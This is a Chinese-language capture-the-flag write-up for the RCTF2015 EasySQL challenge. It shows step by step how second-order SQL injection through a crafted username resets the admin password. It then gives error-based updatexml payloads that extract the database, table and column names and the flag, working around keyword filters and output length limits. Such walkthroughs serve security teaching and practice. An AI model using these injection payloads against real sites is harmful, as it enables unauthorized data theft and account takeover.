[RCTF2015]EasySQL-1|SQL注入

1、打開之後只有登錄和註冊兩個功能,介面如下:

2、隨便註冊一個賬戶並進行登錄,(註冊admin時顯示該賬戶已存在,考慮到是不是要獲取到admin賬戶),發現可以進行改密操作,結果如下:

3、抓取各個頁面的數據包未發現有用的資訊,修改密碼的數據包中也不存在明文賬戶資訊,此時想到後台更新密碼語句應該為:update password=’xxxx’ where username=”xxxx”,所以我們直接註冊用戶名為admin”#來閉合sql語句和注釋掉後面的sql語句,並admin”#賬戶的密碼,修改後的密碼即為admin賬戶的密碼,結果如下:

4、然而並沒有什麼用,admin賬戶和自己註冊的賬戶顯示的資訊一樣,但是通過上面我們也發現我們註冊的賬戶明資訊存在二次注入行為才導致了admin賬戶的密碼被修改,那我們就需要對註冊的賬戶名進行操作了,因為更改密碼未回顯資訊,那這裡只能考慮報錯注入。在註冊介面嘗試時發現and、order等部分關鍵詞被過濾,因此payload:asd”&&(updatexml(1,concat(0x7e,database(),0x7e),1))#,在修改密碼時獲得資料庫名字為:web_sqli,結果如下:

5、獲取資料庫名字後就需要開始獲取表的名字,修改payload:asd”&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#,獲取到表的名字為:article、flag、users,結果如下:

6、獲取到表的名字之後那就獲取列的名字,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’))),1))#,成功獲取到列明:name,pwd,email,real_flag_1s_her,但是這裡一定要注意updatexml函數只能返回32位,所以最後一個列明未必完整,最終列明為:name,pwd,email,real_flag_1s_here,其中concat後面的1在修改為0x7e的時候會因updatexml函數的限制而無法完整輸出列明,刪除時會導致第一列的name資訊丟失,但是在本地進行測試時並不會出現第一列數據丟失的情況(不知道原因),結果如下:

7、獲取到列明資訊後直接讀取flag資訊,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users))),1))#,結果如下:

8、很明顯flag值中存在一些和flag無關的數據,因此就需要獲取自己需要的數據,此處採用正則表達式來獲取flag值,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#,結果如下:

 

9、獲取的flag值因為報錯函數的限制,未完全輸出,因為分割函數都被過濾了,這裡只能採用reverse函數將flag逆向輸出,然後與正向的進行拼接獲得,payload:asd”&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#,結果如下:

10、通過腳本或者sql語句將獲得倒敘的flag值轉回正序,最終得到flag值:flag{703ebda2-7058-4ad0-9cb0-dfeecdaba99b}。

將倒敘的flag值轉成正序:

str= '}b99abadceefd-0bc9-0da4-8507-2ad'
str=str[::-1]
print(str)

 或者mysql執行語句:

select reverse('}b99abadceefd-0bc9-0da4-8507-2ad');